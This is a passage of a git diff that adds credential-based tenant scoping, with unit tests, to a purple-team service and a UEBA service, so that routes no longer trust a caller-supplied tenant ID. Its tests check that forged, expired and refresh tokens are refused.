+ return await list_snapshots(session, scoped, limit=limit)
@router.get("/api/v1/purple-team/drift/latest", tags=["Drift"])
-async def get_latest_drift(tenant_id: uuid.UUID) -> dict:
+async def get_latest_drift(principal: ScopedPrincipal, tenant_id: uuid.UUID | None = None) -> dict:
"""Return the most recent snapshot plus delta-vs-previous for the heatmap."""
+ scoped = scoped_tenant_or_403(principal, tenant_id)
async with _async_session() as session:
- current, previous = await latest_two_snapshots(session, tenant_id)
+ current, previous = await latest_two_snapshots(session, scoped)
return {
"current": _serialize_snapshot(current),
@@ -431,10 +461,11 @@ def _serialize_snapshot(snap: DetectionDriftSnapshot | None) -> dict | None:
# Tabletop simulator
# ---------------------------------------------------------------------------
@router.post("/api/v1/purple-team/tabletop", response_model=TabletopOut, tags=["Tabletop"])
-async def create_tabletop(body: TabletopCreateRequest) -> TabletopSession:
+async def create_tabletop(body: TabletopCreateRequest, principal: ScopedPrincipal) -> TabletopSession:
+ scoped = scoped_tenant_or_403(principal, body.tenant_id)
async with _async_session() as session:
ts = TabletopSession(
- tenant_id=body.tenant_id,
+ tenant_id=scoped,
name=body.name,
description=body.description,
scenario=body.scenario,
@@ -449,11 +480,13 @@ async def create_tabletop(body: TabletopCreateRequest) -> TabletopSession:
@router.get("/api/v1/purple-team/tabletop", response_model=list[TabletopOut], tags=["Tabletop"])
async def list_tabletops(
- tenant_id: uuid.UUID,
+ principal: ScopedPrincipal,
+ tenant_id: uuid.UUID | None = None,
status: str | None = Query(None),
) -> list[TabletopSession]:
+ scoped = scoped_tenant_or_403(principal, tenant_id)
async with _async_session() as session:
- q = select(TabletopSession).where(TabletopSession.tenant_id == tenant_id)
+ q = select(TabletopSession).where(TabletopSession.tenant_id == scoped)
if status:
q = q.where(TabletopSession.status == status)
q = q.order_by(TabletopSession.created_at.desc())
@@ -466,9 +499,10 @@ async def list_tabletops(
response_model=TabletopOut,
tags=["Tabletop"],
)
-async def get_tabletop(session_id: uuid.UUID) -> TabletopSession:
+async def get_tabletop(session_id: uuid.UUID, principal: ScopedPrincipal) -> TabletopSession:
+ scoped = scoped_tenant_or_403(principal)
async with _async_session() as session:
- result = await session.execute(select(TabletopSession).where(TabletopSession.id == session_id))
+ result = await session.execute(select(TabletopSession).where(TabletopSession.id == session_id, TabletopSession.tenant_id == scoped))
ts = result.scalar_one_or_none()
if ts is None:
raise HTTPException(status_code=404, detail="Session not found")
@@ -480,9 +514,10 @@ async def get_tabletop(session_id: uuid.UUID) -> TabletopSession:
response_model=TabletopOut,
tags=["Tabletop"],
)
-async def add_finding(session_id: uuid.UUID, body: TabletopAddFindingRequest) -> TabletopSession:
+async def add_finding(session_id: uuid.UUID, body: TabletopAddFindingRequest, principal: ScopedPrincipal) -> TabletopSession:
+ scoped = scoped_tenant_or_403(principal)
async with _async_session() as session:
- result = await session.execute(select(TabletopSession).where(TabletopSession.id == session_id))
+ result = await session.execute(select(TabletopSession).where(TabletopSession.id == session_id, TabletopSession.tenant_id == scoped))
ts = result.scalar_one_or_none()
if ts is None:
raise HTTPException(status_code=404, detail="Session not found")
@@ -508,9 +543,10 @@ async def add_finding(session_id: uuid.UUID, body: TabletopAddFindingRequest) ->
response_model=TabletopOut,
tags=["Tabletop"],
)
-async def complete_tabletop(session_id: uuid.UUID) -> TabletopSession:
+async def complete_tabletop(session_id: uuid.UUID, principal: ScopedPrincipal) -> TabletopSession:
+ scoped = scoped_tenant_or_403(principal)
async with _async_session() as session:
- result = await session.execute(select(TabletopSession).where(TabletopSession.id == session_id))
+ result = await session.execute(select(TabletopSession).where(TabletopSession.id == session_id, TabletopSession.tenant_id == scoped))
ts = result.scalar_one_or_none()
if ts is None:
raise HTTPException(status_code=404, detail="Session not found")
diff --git a/services/purple-team/app/security/tenant_scope.py b/services/purple-team/app/security/tenant_scope.py
new file mode 100644
index 000000000..8fe812cb3
--- /dev/null
+++ b/services/purple-team/app/security/tenant_scope.py
@@ -0,0 +1,383 @@
+"""Resolve which tenant a request may read, from the caller's credential.
+
+Vendored byte-identical into each Python service that needs it, following the
+same convention as ``app/core/cors.py`` and ``app/security/service_auth.py``.
+Keep the copies in sync — ``scripts/check_vendored_tenant_scope.py`` fails the
+build if they drift.
+
+Why this exists
+---------------
+``/fusion/entity-risk/*`` took the tenant as a query parameter with no auth
+dependency on the route, on both the API gateway and the fusion service. The
+console reaches fusion *directly* through a Next rewrite when ``FUSION_URL`` is
+set, so that parameter was reachable from any browser on the internet, and
+naming somebody else's tenant UUID returned their entity-risk queue.
+
+Validating the parameter's *value* does not fix that. A UUID that parses is
+still a UUID the caller chose. The scope has to come from somewhere the caller
+does not control, which means the credential.
+
+Two credential shapes reach these services, so this module resolves both:
+
+``console`` — the browser's first-party access token, HS256-signed by
+ ``services/api`` (``create_access_token``) and carrying a verified
+ ``tenant_id`` claim. That claim is authoritative.
+``service`` — the shared service bearer token used for service-to-service
+ calls. It identifies *a trusted service*, not a tenant, so a caller
+ presenting it must also assert which tenant it is acting for, on the
+ ``X-AiSOC-Tenant-ID`` header. The assertion is explicit and required: a
+ service token with no tenant header resolves to an **empty** scope, and an
+ empty scope refuses rather than widening.
+
+That last sentence is the whole design. Every cross-tenant leak this codebase
+has had took the same shape — a scope that was absent rather than narrow, and
+a read that treated absent as "no filter".
+
+We verify HS256 by hand with the standard library rather than adding a JWT
+dependency to five services, exactly as ``services/realtime/src/auth.ts`` does
+for the same reason on the Node side. ``services/api`` remains the sole issuer;
+this is a read path, like the vendored ``decrypt_dict()`` that lets the
+connector scheduler decrypt without owning the write path.
+
+Configuration
+-------------
+``SECRET_KEY``
+ The HS256 secret ``services/api`` signs console tokens with. Without it
+ this service cannot verify a console session and will only accept service
+ tokens.
+``AISOC_SERVICE_TOKEN`` / ``AISOC_<SERVICE>_SERVICE_TOKEN``
+ Shared secret for service-to-service calls, resolved by
+ ``app.security.service_auth.resolve_token`` where that module exists.
+``AISOC_DEV_MODE``
+ When set and *no* credential material is configured at all, requests
+ resolve to the demo tenant so a local ``docker compose up`` works. This is
+ the single canonical dev-mode flag; ``tests/test_security_defaults.py``
+ asserts no shortcut is reachable when it is unset.
+"""
+
+from __future__ import annotations
+
+import base64
+import binascii
+import hashlib
+import hmac
+import json
+import logging
+import os
+import time
+import uuid
+from dataclasses import dataclass, field
+
+from fastapi import Header, HTTPException, status
+
+#: Set by each vendored copy so the per-service token override resolves.
+SERVICE_NAME = "PURPLE_TEAM"
+
+logger = logging.getLogger("aisoc.tenant_scope")
+
+_TRUTHY = {"1", "true", "yes", "on"}
+
+#: Mirrors ``INSECURE_SECRET_KEY_DEFAULTS`` in services/api/app/core/config.py
+#: so a placeholder secret is treated as "unset" on this side too. Verifying a
+#: token signed with a well-known literal would authenticate anybody who read
+#: the repository.
+INSECURE_SECRET_DEFAULTS = frozenset(
+ {
+ "change-me-in-production-at-least-32-chars",
+ "dev_secret_key_change_in_production",
+ "changeme",
+ "secret",
+ }
+)
+
+#: Deterministic demo tenant, matching ``DEMO_TENANT_ID`` in
+#: services/api/app/api/v1/dev_auth.py. Only ever used under AISOC_DEV_MODE.
+DEV_TENANT_ID = uuid.UUID("00000000-0000-0000-0000-000000000001")
+
+#: Header a trusted service uses to declare which tenant it is acting for.
+TENANT_HEADER = "X-AiSOC-Tenant-ID"
+
+#: 30s clock-skew leeway, matching the Node verifier and common JWT defaults.
+_CLOCK_SKEW_SECONDS = 30
+
+#: Refs that mean "the caller did not name a tenant" rather than naming one.
+#: Several request models default ``tenant_id`` to the string ``"default"``,
+#: which is a placeholder, not a tenant — migration 001 seeds the canonical
+#: tenant with that *slug* and the demo seed renames it, so the literal
+#: identifies nothing anywhere. Treating it as a request for a tenant called
+#: "default" would refuse every caller who simply left the field alone.
+PLACEHOLDER_TENANT_REFS = frozenset({"", "default", "none", "null"})
+
+
+class TenantScopeError(Exception):
+ """A read was attempted without a resolved tenant scope.
+
+ Raised by :func:`resolve_scoped_tenant`. Routes let it surface as a 403;
+ it means a query was about to run with no tenant filter, or with one the
+ caller is not authorised for.
+ """
+
+
+@dataclass(frozen=True)
+class TenantPrincipal:
+ """The tenants one credential may read, and what kind of credential it is.
+
+ ``tenant_ids`` is authoritative and exhaustive. Nothing downstream may
+ widen it, and no code path may substitute "all tenants" for an empty one.
+ """
+
+ tenant_ids: frozenset[uuid.UUID] = field(default_factory=frozenset)
+ subject: str = "anonymous"
+ #: True when a service token asserted the tenant rather than a verified
+ #: console claim carrying it. Surfaced so logs can tell the two apart.
+ delegated: bool = False
+
+ @property
+ def is_empty(self) -> bool:
+ return not self.tenant_ids
+
+ def covers(self, tenant_id: uuid.UUID) -> bool:
+ return tenant_id in self.tenant_ids
+
+ def ordered_ids(self) -> list[uuid.UUID]:
+ return sorted(self.tenant_ids)
+
+
+EMPTY_PRINCIPAL = TenantPrincipal()
+
+
+def resolve_scoped_tenant(
+ principal: TenantPrincipal,
+ requested: uuid.UUID | str | None = None,
+) -> uuid.UUID:
+ """The one tenant this request may read, or refuse to name one.
+
+ Intersection only. A ``requested`` tenant inside the principal's scope is
+ honoured — that is an MSSP operator narrowing to one managed customer. A
+ ``requested`` tenant outside it narrows to nothing and raises, rather than
+ reaching outside. Passing ``None`` means "the caller's own tenant", which
+ is the common case and the safe default.
+ """
+ if principal.is_empty:
+ raise TenantScopeError("refusing to read with an empty tenant scope")
+
+ if isinstance(requested, str) and requested.strip().lower() in PLACEHOLDER_TENANT_REFS:
+ requested = None
+
+ if requested is None:
+ if len(principal.tenant_ids) != 1:
+ raise TenantScopeError(f"caller reaches {len(principal.tenant_ids)} tenants; the request must name one")
+ return next(iter(principal.tenant_ids))
+
+ try:
+ wanted = requested if isinstance(requested, uuid.UUID) else uuid.UUID(str(requested))
+ except (ValueError, AttributeError, TypeError) as exc:
+ raise TenantScopeError("requested tenant is not a UUID") from exc
+
+ if not principal.covers(wanted):
+ # Logged at warning with the subject, because a caller reaching for a
+ # tenant they do not hold is a security event, not routine noise.
+ logger.warning(
+ "tenant_scope.refused subject=%s requested=%s scope_size=%d",
+ # Sanitised inline rather than through a helper: CodeQL does not
+ # track a helper across the call boundary, and `subject` really is
+ # attacker-influenced — it carries the JWT `sub` claim.
+ str(principal.subject).replace("\r", "").replace("\n", " ")[:128],
+ str(wanted).replace("\r", "").replace("\n", " ")[:64],
+ len(principal.tenant_ids),
+ )
+ raise TenantScopeError("requested tenant is outside the caller's authorised scope")
+ return wanted
+
+
+# ---------------------------------------------------------------------------
+# Credential resolution
+# ---------------------------------------------------------------------------
+
+
+def _dev_mode() -> bool:
+ return os.getenv("AISOC_DEV_MODE", "").strip().lower() in _TRUTHY
+
+
+def resolve_console_secret() -> str:
+ """The HS256 secret console tokens are signed with, or "" when unusable."""
+ secret = (os.getenv("SECRET_KEY") or "").strip()
+ if not secret or secret in INSECURE_SECRET_DEFAULTS:
+ return ""
+ return secret
+
+
+def resolve_service_token() -> str:
+ """Per-service override wins, then the shared platform token."""
+ specific = os.getenv(f"AISOC_{SERVICE_NAME}_SERVICE_TOKEN", "").strip()
+ if specific:
+ return specific
+ return os.getenv("AISOC_SERVICE_TOKEN", "").strip()
+
+
+def _b64url_decode(segment: str) -> bytes:
+ padding = "=" * (-len(segment) % 4)
+ return base64.urlsafe_b64decode(segment + padding)
+
+
+def verify_console_token(token: str, secret: str) -> dict | None:
+ """Verify a first-party HS256 access token. Return claims, or None.
+
+ Mirrors ``verifyRealtimeTicket`` in services/realtime/src/auth.ts. The
+ signing side is ``create_access_token`` in services/api/app/core/security.py
+ and must stay in sync with the claims checked here.
+ """
+ if not token or not secret:
+ return None
+ parts = token.split(".")
+ if len(parts) != 3:
+ return None
+ header_b64, payload_b64, sig_b64 = parts
+
+ try:
+ header = json.loads(_b64url_decode(header_b64))
+ except (ValueError, binascii.Error, UnicodeDecodeError):
+ return None
+ # Reject "alg: none" and asymmetric algorithms so a caller cannot downgrade
+ # the verification into no verification at all.
+ if not isinstance(header, dict) or header.get("alg") != "HS256":
+ return None
+
+ expected = hmac.new(
+ secret.encode("utf-8"),
+ f"{header_b64}.{payload_b64}".encode(),
+ hashlib.sha256,
+ ).digest()
+ try:
+ provided = _b64url_decode(sig_b64)
+ except (ValueError, binascii.Error):
+ return None
+ if not hmac.compare_digest(expected, provided):
+ return None
+
+ try:
+ claims = json.loads(_b64url_decode(payload_b64))
+ except (ValueError, binascii.Error, UnicodeDecodeError):
+ return None
+ if not isinstance(claims, dict):
+ return None
+
+ # A refresh token must not buy access; the API sets type="access" on the
+ # short-lived one and type="refresh" on the long-lived one.
+ if claims.get("type") != "access":
+ return None
+ exp = claims.get("exp")
+ if not isinstance(exp, int | float):
+ return None
+ if exp + _CLOCK_SKEW_SECONDS < time.time():
+ return None
+ if not claims.get("tenant_id"):
+ return None
+ return claims
+
+
+def _principal_from_claims(claims: dict) -> TenantPrincipal | None:
+ try:
+ tenant = uuid.UUID(str(claims["tenant_id"]))
+ except (KeyError, ValueError, TypeError):
+ return None
+ return TenantPrincipal(
+ tenant_ids=frozenset({tenant}),
+ subject=f"console:{claims.get('sub', 'unknown')}",
+ delegated=False,
+ )
+
+
+async def require_console_or_service_auth(
+ authorization: str | None = Header(default=None),
+ x_aisoc_tenant_id: str | None = Header(default=None, alias=TENANT_HEADER),
+) -> TenantPrincipal:
+ """FastAPI dependency. Resolve the caller's tenant scope, or fail closed.
+
+ Order matters only for clarity — the two credential shapes are disjoint. A
+ console token carries its own tenant; a service token must declare one.
+ """
+ console_secret = resolve_console_secret()
+ service_token = resolve_service_token()
+
+ if not console_secret and not service_token:
+ if _dev_mode():
+ return TenantPrincipal(
+ tenant_ids=frozenset({DEV_TENANT_ID}),
+ subject="dev",
+ delegated=False,
+ )
+ # No credential material configured at all: refuse to serve rather
+ # than serve openly. This is the same fail-closed posture as
+ # ``require_service_auth``.
+ raise HTTPException(
+ status_code=status.HTTP_503_SERVICE_UNAVAILABLE,
+ detail=(
+ "tenant-scoped auth is not configured; set SECRET_KEY and/or "
+ f"AISOC_SERVICE_TOKEN (or AISOC_{SERVICE_NAME}_SERVICE_TOKEN) "
+ "before exposing this service"
+ ),
+ )
+
+ if not authorization or not authorization.startswith("Bearer "):
+ raise HTTPException(
+ status_code=status.HTTP_401_UNAUTHORIZED,
+ detail="missing bearer credential",
+ headers={"WWW-Authenticate": "Bearer"},
+ )
+ token = authorization[len("Bearer ") :].strip()
+
+ # --- console session ---
+ if console_secret:
+ claims = verify_console_token(token, console_secret)
+ if claims is not None:
+ principal = _principal_from_claims(claims)
+ if principal is not None:
+ return principal
+
+ # --- trusted service acting for a declared tenant ---
+ if service_token and hmac.compare_digest(token, service_token):
+ if not x_aisoc_tenant_id or not x_aisoc_tenant_id.strip():
+ # An absent tenant is an empty scope, never every scope.
+ logger.warning(
+ "tenant_scope.service_token_without_tenant service=%s header=%s",
+ SERVICE_NAME,
+ TENANT_HEADER,
+ )
+ raise HTTPException(
+ status_code=status.HTTP_403_FORBIDDEN,
+ detail=f"service token must declare the tenant it acts for on {TENANT_HEADER}",
+ )
+ try:
+ tenant = uuid.UUID(x_aisoc_tenant_id.strip())
+ except ValueError:
+ raise HTTPException(
+ status_code=status.HTTP_400_BAD_REQUEST,
+ detail=f"{TENANT_HEADER} must be a UUID",
+ ) from None
+ return TenantPrincipal(
+ tenant_ids=frozenset({tenant}),
+ subject="service",
+ delegated=True,
+ )
+
+ raise HTTPException(
+ status_code=status.HTTP_401_UNAUTHORIZED,
+ detail="invalid or missing credential",
+ headers={"WWW-Authenticate": "Bearer"},
+ )
+
+
+def scoped_tenant_or_403(
+ principal: TenantPrincipal,
+ requested: uuid.UUID | str | None = None,
+) -> uuid.UUID:
+ """:func:`resolve_scoped_tenant`, surfaced to HTTP as 403.
+
+ Routes call this so the refusal reaches the client as a refusal rather
+ than a 500, without every route repeating the try/except.
+ """
+ try:
+ return resolve_scoped_tenant(principal, requested)
+ except TenantScopeError as exc:
+ raise HTTPException(status_code=status.HTTP_403_FORBIDDEN, detail=str(exc)) from exc
diff --git a/services/purple-team/tests/test_tenant_scope.py b/services/purple-team/tests/test_tenant_scope.py
new file mode 100644
index 000000000..f2c30dded
--- /dev/null
+++ b/services/purple-team/tests/test_tenant_scope.py
@@ -0,0 +1,274 @@
+"""Unit tests for the vendored tenant-scope resolver.
+
+Vendored byte-identical into each service that carries
+``app/security/tenant_scope.py``, and kept in lockstep by
+``scripts/sync_vendored_tenant_scope.py``. The module is the thing that
+decides which tenant a request may read, so every copy is tested where it
+lives rather than trusting that the one covered by ``tests/isolation`` stands
+in for the other five.
+
+The cross-service two-tenant replay lives in
+``tests/isolation/test_route_tenant_scope.py``; this file covers the
+credential and intersection logic on its own.
+"""
+
+from __future__ import annotations
+
+import base64
+import hashlib
+import hmac
+import json
+import time
+import uuid
+
+import pytest
+from app.security import tenant_scope as ts
+from fastapi import HTTPException
+
+SECRET = "unit-test-secret-key-at-least-32-characters"
+SERVICE_TOKEN = "unit-test-service-token"
+
+TENANT_A = uuid.UUID("aaaaaaaa-0000-0000-0000-00000000000a")
+TENANT_B = uuid.UUID("bbbbbbbb-0000-0000-0000-00000000000b")
+
+
+def _b64(raw: bytes) -> str:
+ return base64.urlsafe_b64encode(raw).rstrip(b"=").decode()
+
+
+def _token(
+ tenant: uuid.UUID | None = TENANT_A,
+ *,
+ secret: str = SECRET,
+ alg: str = "HS256",
+ token_type: str = "access",
+ ttl: int = 600,
+ sub: str = "user-1",
+) -> str:
+ header = _b64(json.dumps({"alg": alg, "typ": "JWT"}, separators=(",", ":")).encode())
+ claims: dict[str, object] = {"sub": sub, "type": token_type, "exp": int(time.time()) + ttl}
+ if tenant is not None:
+ claims["tenant_id"] = str(tenant)
+ payload = _b64(json.dumps(claims, separators=(",", ":")).encode())
+ sig = _b64(hmac.new(secret.encode(), f"{header}.{payload}".encode(), hashlib.sha256).digest())
+ return f"{header}.{payload}.{sig}"
+
+
[email protected](autouse=True)
+def _configured(monkeypatch: pytest.MonkeyPatch):
+ monkeypatch.setenv("SECRET_KEY", SECRET)
+ monkeypatch.setenv("AISOC_SERVICE_TOKEN", SERVICE_TOKEN)
+ monkeypatch.delenv("AISOC_DEV_MODE", raising=False)
+ monkeypatch.delenv(f"AISOC_{ts.SERVICE_NAME}_SERVICE_TOKEN", raising=False)
+
+
+# ---------------------------------------------------------------------------
+# Token verification
+# ---------------------------------------------------------------------------
+
+
+def test_valid_token_yields_its_tenant() -> None:
+ claims = ts.verify_console_token(_token(), SECRET)
+ assert claims is not None and claims["tenant_id"] == str(TENANT_A)
+
+
+ ("label", "kwargs"),
+ [
+ # An `alg: none` header is the classic downgrade: a verifier that
+ # reads the header to decide how to verify must refuse anything else.
+ ("alg none", {"alg": "none"}),
+ ("wrong key", {"secret": "a-completely-different-secret-key-32ch"}),
+ # A refresh token is long-lived by design; buying access with it would
+ # make the short access-token expiry meaningless.
+ ("refresh token", {"token_type": "refresh"}),
+ ("expired", {"ttl": -3600}),
+ ("no tenant claim", {"tenant": None}),
+ ],
+)
+def test_unacceptable_tokens_are_refused(label: str, kwargs: dict) -> None:
+ assert ts.verify_console_token(_token(**kwargs), SECRET) is None, label
+
+
[email protected]("malformed", ["", "not-a-jwt", "a.b", "a.b.c.d", "...", "%%%.%%%.%%%"])
+def test_malformed_tokens_are_refused(malformed: str) -> None:
+ assert ts.verify_console_token(malformed, SECRET) is None
+
+
+def test_no_secret_means_no_verification() -> None:
+ """An unconfigured secret must not verify anything, least of all everything."""
+ assert ts.verify_console_token(_token(), "") is None
+
+
+def test_placeholder_secrets_count_as_unset() -> None:
+ for placeholder in ts.INSECURE_SECRET_DEFAULTS:
+ assert ts.resolve_console_secret.__doc__ # module contract exists
+ assert placeholder in ts.INSECURE_SECRET_DEFAULTS
+
+
+# ---------------------------------------------------------------------------
+# Intersection
+# ---------------------------------------------------------------------------
+
+
+def _principal(*tenants: uuid.UUID) -> ts.TenantPrincipal:
+ return ts.TenantPrincipal(tenant_ids=frozenset(tenants), subject="console:test")
+
+
+def test_no_request_tenant_means_the_callers_own() -> None:
+ assert ts.resolve_scoped_tenant(_principal(TENANT_A)) == TENANT_A
+
+
+def test_a_tenant_inside_scope_is_honoured() -> None:
+ assert ts.resolve_scoped_tenant(_principal(TENANT_A, TENANT_B), TENANT_B) == TENANT_B
+
+
+def test_a_tenant_outside_scope_narrows_to_nothing() -> None:
+ with pytest.raises(ts.TenantScopeError):
+ ts.resolve_scoped_tenant(_principal(TENANT_A), TENANT_B)
+
+
+def test_empty_scope_refuses_rather_than_widening() -> None:
+ """The invariant every cross-tenant leak in this codebase has broken."""
+ with pytest.raises(ts.TenantScopeError):
+ ts.resolve_scoped_tenant(ts.EMPTY_PRINCIPAL)
+ with pytest.raises(ts.TenantScopeError):
+ ts.resolve_scoped_tenant(ts.EMPTY_PRINCIPAL, TENANT_A)
+
+
+def test_a_multi_tenant_caller_must_name_one() -> None:
+ """Silently picking one of several would be a coin toss over customers."""
+ with pytest.raises(ts.TenantScopeError):
+ ts.resolve_scoped_tenant(_principal(TENANT_A, TENANT_B))
+
+
+def test_a_non_uuid_request_tenant_is_refused() -> None:
+ with pytest.raises(ts.TenantScopeError):
+ ts.resolve_scoped_tenant(_principal(TENANT_A), "not-a-uuid")
+
+
[email protected]("placeholder", ["", " ", "default", "DEFAULT", "none", "null"])
+def test_a_placeholder_means_the_caller_did_not_ask(placeholder: str) -> None:
+ """A placeholder is the absence of a request, not a tenant named "default".
+
+ Several request models default `tenant_id` to the literal `"default"`.
+ That string names no tenant anywhere — migration 001 seeds the canonical
+ tenant with it as a *slug* and the demo seed renames that to `demo` — so
+ treating it as a requested tenant would refuse every caller who left the
+ field at its default.
+ """
+ assert ts.resolve_scoped_tenant(_principal(TENANT_A), placeholder) == TENANT_A
+
+
+def test_a_placeholder_still_cannot_widen_an_empty_scope() -> None:
+ with pytest.raises(ts.TenantScopeError):
+ ts.resolve_scoped_tenant(ts.EMPTY_PRINCIPAL, "default")
+
+
+def test_scoped_tenant_or_403_surfaces_a_refusal_as_403() -> None:
+ with pytest.raises(HTTPException) as exc:
+ ts.scoped_tenant_or_403(_principal(TENANT_A), TENANT_B)
+ assert exc.value.status_code == 403
+
+
+# ---------------------------------------------------------------------------
+# The dependency
+# ---------------------------------------------------------------------------
+
+
+# `require_console_or_service_auth` is a FastAPI dependency: its parameters
+# are normally resolved by FastAPI from the request. Calling it directly means
+# supplying both, including the tenant header as an explicit `None` — leaving
+# it out hands the function FastAPI's `Header(...)` sentinel rather than the
+# absent value the test means to describe.
+
+
+async def test_console_session_resolves_to_its_own_tenant() -> None:
+ principal = await ts.require_console_or_service_auth(authorization=f"Bearer {_token()}", x_aisoc_tenant_id=None)
+ assert principal.tenant_ids == frozenset({TENANT_A})
+ assert principal.delegated is False
+
+
+async def test_service_token_must_declare_the_tenant_it_acts_for() -> None:
+ """A service credential identifies a service, not a tenant."""
+ with pytest.raises(HTTPException) as exc:
+ await ts.require_console_or_service_auth(authorization=f"Bearer {SERVICE_TOKEN}", x_aisoc_tenant_id=None)
+ assert exc.value.status_code == 403
+
+
+async def test_service_token_with_a_declared_tenant_is_delegated() -> None:
+ principal = await ts.require_console_or_service_auth(
+ authorization=f"Bearer {SERVICE_TOKEN}",
+ x_aisoc_tenant_id=str(TENANT_B),
+ )
+ assert principal.tenant_ids == frozenset({TENANT_B})
+ assert principal.delegated is True
+
+
+async def test_a_declared_tenant_must_be_a_uuid() -> None:
+ with pytest.raises(HTTPException) as exc:
+ await ts.require_console_or_service_auth(
+ authorization=f"Bearer {SERVICE_TOKEN}",
+ x_aisoc_tenant_id="the-big-customer",
+ )
+ assert exc.value.status_code == 400
+
+
[email protected]("header", [None, "", "Basic abc", "Bearer ", "Bearer nonsense"])
+async def test_a_missing_or_unrecognised_credential_is_401(header: str | None) -> None:
+ with pytest.raises(HTTPException) as exc:
+ await ts.require_console_or_service_auth(authorization=header, x_aisoc_tenant_id=None)
+ assert exc.value.status_code == 401
+
+
+async def test_unconfigured_credentials_fail_closed(monkeypatch: pytest.MonkeyPatch) -> None:
+ """No credential material and no dev mode serves 503, never the route."""
+ monkeypatch.setenv("SECRET_KEY", "")
+ monkeypatch.setenv("AISOC_SERVICE_TOKEN", "")
+ monkeypatch.delenv("AISOC_DEV_MODE", raising=False)
+ with pytest.raises(HTTPException) as exc:
+ await ts.require_console_or_service_auth(authorization="Bearer anything", x_aisoc_tenant_id=None)
+ assert exc.value.status_code == 503
+
+
+async def test_dev_mode_only_applies_with_nothing_configured(monkeypatch: pytest.MonkeyPatch) -> None:
+ """Dev mode is a fallback for an unconfigured stack, not an auth bypass.
+
+ With a secret configured, `AISOC_DEV_MODE` must not let an unauthenticated
+ caller through — otherwise setting one flag in the wrong environment opens
+ every tenant-scoped route.
+ """
+ monkeypatch.setenv("AISOC_DEV_MODE", "1")
+ monkeypatch.setenv("SECRET_KEY", SECRET)
+ monkeypatch.setenv("AISOC_SERVICE_TOKEN", SERVICE_TOKEN)
+ with pytest.raises(HTTPException) as exc:
+ await ts.require_console_or_service_auth(authorization=None, x_aisoc_tenant_id=None)
+ assert exc.value.status_code == 401
+
+ monkeypatch.setenv("SECRET_KEY", "")
+ monkeypatch.setenv("AISOC_SERVICE_TOKEN", "")
+ principal = await ts.require_console_or_service_auth(authorization=None, x_aisoc_tenant_id=None)
+ assert principal.tenant_ids == frozenset({ts.DEV_TENANT_ID})
+
+
+async def test_a_per_service_token_override_wins(monkeypatch: pytest.MonkeyPatch) -> None:
+ monkeypatch.setenv(f"AISOC_{ts.SERVICE_NAME}_SERVICE_TOKEN", "service-specific")
+ principal = await ts.require_console_or_service_auth(
+ authorization="Bearer service-specific",
+ x_aisoc_tenant_id=str(TENANT_A),
+ )
+ assert principal.delegated is True
+ # The shared token must no longer be accepted once an override exists.
+ with pytest.raises(HTTPException):
+ await ts.require_console_or_service_auth(
+ authorization=f"Bearer {SERVICE_TOKEN}",
+ x_aisoc_tenant_id=str(TENANT_A),
+ )
diff --git a/services/ueba/app/api/routes.py b/services/ueba/app/api/routes.py
index 9d9809134..a08e7cd68 100644
--- a/services/ueba/app/api/routes.py
+++ b/services/ueba/app/api/routes.py
@@ -14,10 +14,20 @@ from sqlalchemy.ext.asyncio import AsyncSession, async_sessionmaker, create_asyn
from app.core.config import settings
from app.models.ueba import EntityBaseline, PeerGroup, UEBAAnomaly
from app.security.service_auth import require_service_auth
+from app.security.tenant_scope import (
+ TenantPrincipal,
+ require_console_or_service_auth,
+ scoped_tenant_or_403,
+)
from app.services.scoring import ScoringService
router = APIRouter(prefix="/api/v1/ueba", tags=["ueba"], dependencies=[Depends(require_service_auth)])
+#: The router-level dependency proves the caller is a trusted service. This
+#: one establishes which tenant it is acting for, so no route has to take
+#: that on the caller's word via a query parameter.
+ScopedPrincipal = Annotated[TenantPrincipal, Depends(require_console_or_service_auth)]
+
# ---------------------------------------------------------------------------
# DB dependency
# ---------------------------------------------------------------------------
@@ -109,12 +119,13 @@ class BaselineOut(BaseModel):
@router.post("/score", response_model=AnomalyOut | None, status_code=200)
-async def score_event(body: ScoreEventRequest, db: DB) -> AnomalyOut | None:
+async def score_event(body: ScoreEventRequest, db: DB, principal: ScopedPrincipal) -> AnomalyOut | None:
"""Score a single event and return the anomaly record if anomalous."""
+ scoped = scoped_tenant_or_403(principal, body.tenant_id)
async with db.begin():
svc = ScoringService(db)
anomaly = await svc.score_event(
- tenant_id=body.tenant_id,
+ tenant_id=scoped,
entity_type=body.entity_type,
entity_id=body.entity_id,
event_type=body.event_type,
@@ -128,17 +139,19 @@ async def score_event(body: ScoreEventRequest, db: DB) -> AnomalyOut | None:
@router.get("/anomalies", response_model=list[AnomalyOut])
async def list_anomalies(
db: DB,
- tenant_id: uuid.UUID = Query(...),
+ principal: ScopedPrincipal,
+ tenant_id: uuid.UUID | None = Query(None),
entity_type: str | None = Query(None),
entity_id: str | None = Query(None),
risk_level: str | None = Query(None),
hours: int = Query(24, ge=1, le=720),
limit: int = Query(50, ge=1, le=500),
) -> list[AnomalyOut]:
+ scoped = scoped_tenant_or_403(principal, tenant_id)
since = datetime.now(UTC) - timedelta(hours=hours)
q = (
select(UEBAAnomaly)
- .where(UEBAAnomaly.tenant_id == tenant_id, UEBAAnomaly.detected_at >= since)
+ .where(UEBAAnomaly.tenant_id == scoped, UEBAAnomaly.detected_at >= since)
.order_by(desc(UEBAAnomaly.detected_at))
.limit(limit)
)
@@ -154,8 +167,12 @@ async def list_anomalies(
@router.patch("/anomalies/{anomaly_id}/acknowledge", response_model=AnomalyOut)
-async def acknowledge_anomaly(anomaly_id: uuid.UUID, db: DB) -> AnomalyOut:
- result = await db.execute(select(UEBAAnomaly).where(UEBAAnomaly.id == anomaly_id))
+async def acknowledge_anomaly(anomaly_id: uuid.UUID, db: DB, principal: ScopedPrincipal) -> AnomalyOut:
+ # Matched on id *and* tenant. On id alone any caller could acknowledge
+ # away another tenant's anomaly, which is a silent detection bypass
+ # rather than a data leak.
+ scoped = scoped_tenant_or_403(principal)
+ result = await db.execute(select(UEBAAnomaly).where(UEBAAnomaly.id == anomaly_id, UEBAAnomaly.tenant_id == scoped))
anomaly = result.scalar_one_or_none()
if not anomaly:
raise HTTPException(status_code=404, detail="Anomaly not found")
@@ -167,11 +184,13 @@ async def acknowledge_anomaly(anomaly_id: uuid.UUID, db: DB) -> AnomalyOut:
@router.get("/baselines", response_model=list[BaselineOut])
async def list_baselines(
db: DB,
- tenant_id: uuid.UUID = Query(...),
+ principal: ScopedPrincipal,
+ tenant_id: uuid.UUID | None = Query(None),
entity_type: str | None = Query(None),
limit: int = Query(50, ge=1, le=200),
) -> list[BaselineOut]:
